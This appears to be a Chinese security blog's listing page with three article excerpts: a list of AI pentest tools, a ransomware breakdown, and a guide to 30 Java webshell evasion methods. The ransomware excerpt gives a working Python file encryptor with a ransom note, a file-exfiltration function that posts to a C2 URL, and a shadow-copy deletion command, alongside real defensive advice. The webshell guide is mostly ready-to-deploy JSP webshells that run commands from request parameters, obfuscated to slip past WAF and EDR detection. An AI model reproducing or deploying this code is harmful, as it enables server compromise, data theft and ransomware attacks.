首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
66
篇与
的结果
2026-07-15
十个 AI Agent 渗透测试工具推荐,最后一个最适合手工党
从事AI安全相关的工作已经有一段时间了。在这一段时间里,GitHub上面的AI渗透测试工具那可就跟爆发了似的一下子多了起来。今儿个就来跟大家讲讲当下比较热门的十个项目,给很多想要在这个方面尝试一下的朋友们当作参考。服务器推荐服务器推荐:
2026年07月15日
693 阅读
0 评论
0 点赞
2026-07-15
勒索病毒技术拆解与预防,更好的保护你的数据
前一阵子帮朋友处理一台被勒索病毒加密了的服务器,数据库全都被锁住,桌面上有勒索信,要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理,才能够知道防护的重点到底是什么。声明:本文所有代码仅用于安全研究和教学目的,编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单,核心流程只有三步:入侵:通过各种途径进入目标系统加密:使用加密算法锁定用户文件勒索:留下勒索信息,要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法,这些算法它自身是属于合法的,银行还有HTTPS都在运用着它们。可问题就在于,密钥就只是在攻击者的手里边,受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP,运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作,而是先在局域网之内进行横向的移动,尽可能地去感染更多的机器,等到合适的时机,比如说周末没人值守的时候,再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的,它潜伏隐藏了有两天,直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密,这是因为备份硬盘一直是挂接在服务器上面的,结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型(Crypto Ransomware)这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接:入侵之后便会去遍历磁盘,对文档、图片、数据库、压缩包等用户文件实施AES加密,还会去修改文件后缀名,然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话,在不存在私钥的时候,从理论上来说是没有办法去进行解密的。2. 双重勒索型(Double Extortion)近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前,先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器,然后再去执行本地的加密操作。这也就意味着,就算你拥有完整的备份从而能够恢复数据,但是攻击者依旧还是有可能会对泄露你的数据进行威胁,并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚,只能够依从(攻击者的要求)。而后甚至发展成为三重勒索的情况,既对泄露数据进行威胁,又会发动DDoS攻击,还会去通知客户或者监管机构。3. 蠕虫传播型(Worm-style)代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点,那就是能够自己进行复制并且还能够主动地进行传播,不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue(永恒之蓝)漏洞,它针对Windows SMB协议的445端口来发起攻击,能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播,没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染,到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务(RaaS, Ransomware as a Service)当下黑产的主流运营模式便是这般,LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具,这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术,只要能够获取到目标网络的权限,就可以拿现成的病毒去进行攻击,赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低,这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型(Big Game Hunting)这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为,并非是进行广泛范围的扫描,而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动,对目标网络的拓扑结构、域环境状况以及备份策略等进行研究,甚至会首先对备份系统进行破坏,在确认一切准备就绪之后才发起攻击行动,像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解(教育目的)想要去理解防护方面的逻辑,那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本,只是对特定目录进行加密处理,不进行传播行为、不连接网络、不执行删除备份的操作,在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示,Fernet是一个封装好的对称加密库,使用AES-CBC模式:import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥(丢失则无法恢复): {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked,如果没有密匙文件,是无法解密的随后留下一个文本,让你支付比特币这个版本不到50行代码,但你可以看出它和真正勒索病毒的差距:密钥管理这一块,玩具版是在本地生成密钥,在运行的时候就直接给打印出来。而真实的勒索病毒,是把RSA公钥硬编码在病毒里头,在本地随机生成AES密钥去加密文件,接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边,逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符,比如本地磁盘、网络共享盘、U盘,甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件,像是文档、数据库、图片这类,它不会去触碰系统文件,因为要是系统文件被加密从而导致系统无法启动了,那就没有人会支付赎金了。反恢复之手段:真实的病毒会做出如下这些行径,运用vssadmin delete shadows /all /quiet来删除卷影副本,禁用系统之还原功能,停止备份服务,并且还会将Windows备份目录予以删除 。对抗分析这一块,存在有加壳这样的操作,还有反调试的手段,反沙箱的措施,检测虚拟机环境的状况,以及延迟执行的状况,比如说等待好几个小时才开始加密,通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节:import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件,避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中,最先将会去开展压缩的操作,随后会去开展分块传输的相关动作,并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里,存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲,需要去构造特殊的SMB请求包,然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode,随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示,这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务(SQL Server、MySQL、Oracle等),因为数据库文件运行时被占用,加密不了删除Windows事件日志,清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器,进行横向移动遍历RDP连接记录和保存的凭据,扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况,众多企业出现问题,并非是由于某些高深的零日漏洞相关的原因,而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护,简单来说就是那么一些个事情,但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则:3 - 2 - 1备份准则所指的是,需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离,并非是那种处于公司内网里的另一台服务器,借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作,结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开,要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例,有备份的情况,但是当真正到了需要进行恢复的时候,却发现备份已经损坏了、版本也不对头,而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的,还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的,它和你的实例是相互分离的状态,病毒是没有办法接触到它的。你可以去设置自动快照的策略,每天开展快照操作,保留的时间为7到30天。倘若出现问题了,一键进行回滚操作,要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来:关于RDP/SSH出现暴力破解这种情况的话:不要采用密码来进行登录,而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面,要么对默认的端口进行更改,要么设置IP白名单只准许公司的IP来进行访问,最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况,人是比较容易出现问题的所在。是得去开展安全培训,不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关,来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态,可别随随便便就去启用它。漏洞补丁相关状况:在WannaCry爆发的时候,补丁已经发布两个月了。必须去构建补丁管理方面的流程,关键的安全补丁得及时地进行打上,可千万不能拖拖拉拉的。特别是针对面向公网的系统而言,漏洞公开之后,在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候,能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码,并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候,不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当,不要给予很多没有必要的写权限。有很多的webshell能够获取到权限,就是因为Web目录的权限太大了,直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已,那么445 SMB端口没有必要处于开启的状态,135 RPC端口也没有必要处于开启的状态,3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式,仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信,如果一台办公计算机感染了病毒,那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信,Web服务器只可以访问它所需要的数据库端口,其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件,可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为,要是发现有进程在进行批量加密文件的操作,它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器,几个坑反复踩:在安全组配置这一块的情况来讲,有相当多的人在购买了服务器之后,安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口,像是80和443端口开着就可以。而对于数据库端口,比如说3306、6379、5432这类的,绝对不可以对公网进行开放,只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强,而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了,那么对方不需要去破解你的服务器,直接就在控制台能够卸载你的云盘,之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略,可别等到想起来了再手动去进行拍摄。选云服务器的时候,可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的,安全组到底好不好用,有没有基础的DDoS防护,售后能不能够联系得到人。这些平常看起来好像没什么用处的东西,可是真的出现问题的时候,那可就是能够起到救命作用的东西。现在
2026年07月15日
223 阅读
0 评论
0 点赞
2026-04-16
30种Java一句话木马免杀方法
前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人Web容器/服务器中植入恶意代码的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心,是通过可控的用户输入,调用Java代码执行/系统命令执行机制,实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀,核心围绕5个维度展开: 静态特征匹配:检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合; 语义分析:识别「用户可控输入→反射调用→命令执行」的恶意执行链路; 字节码检测:扫描JSP编译后的Servlet字节码,识别恶意类/方法调用; 行为检测:运行时检测动态类加载、进程创建、文件读写等恶意行为; 沙箱动态分析:将JSP/Class放入沙箱运行,捕获恶意行为特征。 所有免杀方法的核心本质,都是破坏WAF的检测维度:要么拆分/隐藏敏感类名、方法名,要么打乱执行链路,要么利用Java合法语法/业务逻辑伪装恶意行为,要么直接操作字节码隐藏特征,最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本(兼容Java 11/17),覆盖Tomcat、Jetty、WebLogic等主流Web容器,按「新手入门→进阶混淆→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码、适配环境与避坑提示,拿来即可落地。30种Java一句话木马免杀方法第一类:基础关键词拆分与字符串变形免杀(方法1-5)核心逻辑:把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段,运行时再拼接还原,直接破坏WAF的连续字符串特征匹配,新手零门槛上手。方法1:字符串简单拼接免杀免杀原理:将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段,运行时拼接还原,绕过WAF对连续关键词的匹配。 实战代码(JSP形式):<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接线性拼接,可插入无关字符串再替换,例如String cls = "Run#time"; cls = cls.replace("#", "");,免杀效果更强。方法2:字符串逆序免杀免杀原理:把敏感类名、方法名逆序处理,运行时通过StringBuilder.reverse()还原,静态扫描无法直接匹配到正向的敏感关键词。 实战代码(JSP形式):<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合Base64编码逆序,双重变形绕过深度特征匹配。方法3:数组下标取值免杀免杀原理:把敏感类名、方法名拆分为字符数组,通过指定下标取值拼接,WAF很难匹配数组内的零散特征。 实战代码(JSP形式):<% char[] clsArr = {'R','u','n','t','i','m','e'}; char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'}; char[] m2Arr = {'e','x','e','c'}; String cls = ""; String m1 = ""; String m2 = ""; for(int i=0;i<clsArr.length;i++) cls += clsArr[i]; for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i]; for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i]; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关字符,打乱敏感字符的顺序,再通过指定下标取值,免杀效果翻倍。方法4:大小写混淆+动态转换免杀免杀原理:Java类名、方法名区分大小写,但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写,打乱固定的关键词格式,绕过WAF对固定大小写的匹配。 实战代码(JSP形式):<% String clsRaw = "rUnTiMe"; String m1Raw = "gEtRuNtImE"; String m2Raw = "eXeC"; // 动态调整为正确的首字母大写/小写 String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase(); String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1); String m2 = m2Raw.toLowerCase(); Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:仅适用于基础WAF,需配合其他变形方法使用,单独使用免杀效果有限。方法5:Base64编码拆分免杀免杀原理:把敏感类名、方法名、命令做Base64编码,拆分为多个片段后拼接解密,绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64 String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64 String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64 String cmd = new String(Base64.getDecoder().decode(request.getParameter("c"))); Class<?> c = Class.forName(cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, cmd); %> 使用方式:客户端提交的c参数需先做Base64编码 适配环境:Java 8+(Base64类在Java 8引入,旧版本可用sun.misc.BASE64Decoder) 避坑提示:不要直接使用Base64.getDecoder().decode("...")拼接完整类名,必须拆分编码过程,避免被WAF识别固定解码模式。第二类:反射机制混淆免杀(方法6-10)核心逻辑:Java反射是免杀的核心武器——它可以动态加载类、调用方法,代码中没有直接的Runtime.getRuntime().exec()调用,完全破坏WAF的静态特征匹配与语义分析链路,是实战中最常用的免杀方案。方法6:基础反射调用免杀免杀原理:利用Java反射机制,通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行,隐藏直接的函数调用特征。 实战代码(JSP形式):<% try { Class<?> runtimeCls = Class.forName("java.lang.Runtime"); Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null); runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd")); } catch (Exception e) { e.printStackTrace(); } %> 适配环境:全Java版本+主流Web容器 避坑提示:不要直接写完整的反射链路,需配合字符串拆分、编码变形,避免被WAF识别反射调用特征。方法7:反射拆分+无关代码干扰免杀免杀原理:把反射的加载、获取方法、调用拆分为多个独立步骤,中间插入大量无关的业务代码(比如字符串处理、数学计算),干扰WAF的语义分析,隐藏恶意执行链路。 实战代码(JSP形式):<% // 插入无关代码:字符串处理 String test = "test" + Math.random(); test = test.toUpperCase(); // 插入无关代码:数学计算 int a = 1 + 2; double b = Math.sqrt(a); // 第一步:加载类 Class<?> c = Class.forName("java.lang.Runtime"); // 插入无关代码:数组操作 int[] arr = {1,2,3}; int sum = arr[0] + arr[1]; // 第二步:获取getRuntime方法 java.lang.reflect.Method m1 = c.getMethod("getRuntime"); // 插入无关代码:日期处理 java.util.Date d = new java.util.Date(); // 第三步:调用getRuntime获取对象 Object obj = m1.invoke(null); // 第四步:获取exec方法 java.lang.reflect.Method m2 = c.getMethod("exec", String.class); // 第五步:调用exec执行命令 m2.invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:无关代码要尽量真实,比如模拟日志记录、参数校验,避免被WAF识别为无意义干扰。方法8:反射数组变形免杀免杀原理:把要调用的方法名、参数类型存入数组,通过循环遍历数组获取方法、调用执行,结构更复杂,WAF更难识别恶意执行逻辑。 实战代码(JSP形式):<% String[] methods = {"getRuntime", "exec"}; Class<?>[] paramTypes = {null, String.class}; Class<?> c = Class.forName("java.lang.Runtime"); Object obj = null; for(int i=0;i<methods.length;i++){ if(i == 0){ obj = c.getMethod(methods[i]).invoke(null); } else { c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd")); } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关的方法名,通过条件判断只执行目标方法,进一步打乱特征。方法9:反射遍历DeclaredMethods免杀免杀原理:不直接通过方法名获取Method对象,而是通过getDeclaredMethods()遍历类的所有方法,匹配到目标方法后再调用,完全隐藏直接的方法名特征。 实战代码(JSP形式):<% Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); // 遍历所有DeclaredMethods,匹配exec方法 java.lang.reflect.Method[] ms = c.getDeclaredMethods(); for(java.lang.reflect.Method m : ms){ if(m.getName().equals("exec") && m.getParameterCount() == 1){ m.setAccessible(true); m.invoke(obj, request.getParameter("cmd")); break; } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合字符串逆序、编码匹配方法名,避免直接写equals("exec")。方法10:反射调用ProcessBuilder免杀免杀原理:用ProcessBuilder替代Runtime,ProcessBuilder是Java 5+引入的进程创建类,WAF对它的查杀率低于Runtime,配合反射调用特征更少。 实战代码(JSP形式):<% Class<?> pbCls = Class.forName("java.lang.ProcessBuilder"); // 反射调用ProcessBuilder构造函数 java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class); Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")}); // 反射调用start方法 pbCls.getMethod("start").invoke(pbObj); %> 适配环境:Java 5+ 避坑提示:Windows环境下命令数组需改为{"cmd.exe", "/c", "..."},可配合系统判断动态选择。第三类:类加载器与动态代理免杀(方法11-15)核心逻辑:利用Java的类加载器机制动态加载类,或用动态代理隐藏调用链路,代码中没有直接的敏感类/方法引用,WAF很难通过静态扫描识别恶意逻辑,是对抗高级WAF的有效方案。方法11:线程上下文类加载器加载免杀免杀原理:用Thread.currentThread().getContextClassLoader()(线程上下文类加载器)替代默认的Class.forName(),加载行为更贴近Web容器的正常类加载,WAF更难识别异常。 实战代码(JSP形式):<% ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> c = cl.loadClass("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合自定义类加载器,进一步隐藏加载行为。方法12:自定义类加载器免杀免杀原理:继承ClassLoader,重写findClass()方法,动态加载字节码(可从请求、文件、字节数组获取),完全隐藏类的来源,WAF无法通过静态扫描识别恶意类。 实战代码(JSP形式):<%! // 自定义类加载器 class MyClassLoader extends ClassLoader { public Class<?> defineMyClass(byte[] b) { return defineClass(b, 0, b.length); } } %> <% // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例,实战中可替换为完整恶意类的字节码 // 字节码可通过javac编译后,用工具读取class文件获取 byte[] classBytes = {/* 恶意类的字节码 */}; MyClassLoader cl = new MyClassLoader(); Class<?> c = cl.defineMyClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:恶意类的字节码需做混淆处理,避免被沙箱识别特征。方法13:动态代理隐藏调用免杀免杀原理:利用Java动态代理Proxy.newProxyInstance()创建代理对象,在InvocationHandler的invoke()方法中执行恶意代码,主流程中只有代理创建,完全隐藏恶意执行链路。 实战代码(JSP形式):<%@ page import="java.lang.reflect.*" %> <% // 定义一个空接口 interface EmptyInterface {} // 创建动态代理 EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance( EmptyInterface.class.getClassLoader(), new Class[]{EmptyInterface.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 在InvocationHandler中执行恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); return null; } } ); // 调用代理方法触发执行 proxy.toString(); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在代理中加入真实的业务逻辑处理,只在特定条件下触发恶意代码,伪装性更强。方法14:ServiceLoader服务加载免杀免杀原理:利用Java的ServiceLoader机制(服务提供者发现机制),伪装成合法的服务提供者,在服务初始化时执行恶意代码,完全符合Java的正常扩展机制,WAF极难检测。 实战代码(JSP形式):<%@ page import="java.util.ServiceLoader" %> <%! // 定义服务接口 public interface MyService { void execute(String cmd); } // 实现服务接口,在构造函数/方法中执行恶意代码 public static class MyServiceImpl implements MyService { public MyServiceImpl() {} @Override public void execute(String cmd) { try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } %> <% // 这里简化了ServiceLoader的配置,实战中需在META-INF/services中配置服务提供者 // 直接创建实例模拟服务加载 MyService service = new MyServiceImpl(); service.execute(request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:实战中需配合真实的META-INF/services配置,伪装成第三方库的服务提供者。方法15:URLClassLoader远程加载免杀免杀原理:利用URLClassLoader从远程URL加载恶意类,本地代码中只有类加载器的调用,没有任何恶意类/方法的特征,极致免杀(需注意实战中远程加载可能被防火墙拦截,可改为本地字节数组加载)。 实战代码(JSP形式,本地字节数组版本):<%@ page import="java.net.URLClassLoader" %> <% // 这里用本地字节数组替代远程URL,避免网络拦截 // 远程版本:new URLClassLoader(new URL[]{new URL("http://你的服务器/")}) byte[] classBytes = {/* 恶意类字节码 */}; ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:远程加载版本需确保目标服务器能访问你的远程URL,且流量不被拦截,实战中优先用本地字节数组版本。第四类:动态编译与字节码变形免杀(方法16-20)核心逻辑:利用Java的动态编译(JavaCompiler)或直接操作字节码(ASM、Javassist),在内存中生成临时类并执行,本地没有固定的恶意代码,只有动态生成的逻辑,绕过几乎所有静态扫描。方法16:JavaCompiler动态编译免杀免杀原理:利用Java 6+引入的JavaCompiler API,把恶意代码写成Java字符串,动态编译成临时类并加载执行,本地只有字符串,没有任何Class文件特征。 实战代码(JSP形式,需确保Web容器有tools.jar):<%@ page import="javax.tools.*" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Method" %> <% // 恶意Java代码字符串 String code = "public class TempClass {" + "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}}"; // 动态编译 JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null); JavaFileObject file = new SimpleJavaFileObject( java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return code; } }; compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call(); // 加载并执行 Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass"); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:Java 6+,需Web容器加载tools.jar(Tomcat默认可能不加载,需手动配置) 避坑提示:动态编译依赖较多,实战中优先用Javassist/ASM字节码操作,兼容性更好。方法17:Javassist字节码修改免杀免杀原理:利用Javassist库(Java字节码操作库),在内存中动态生成类、插入恶意代码,无需编译,兼容性好,特征少。 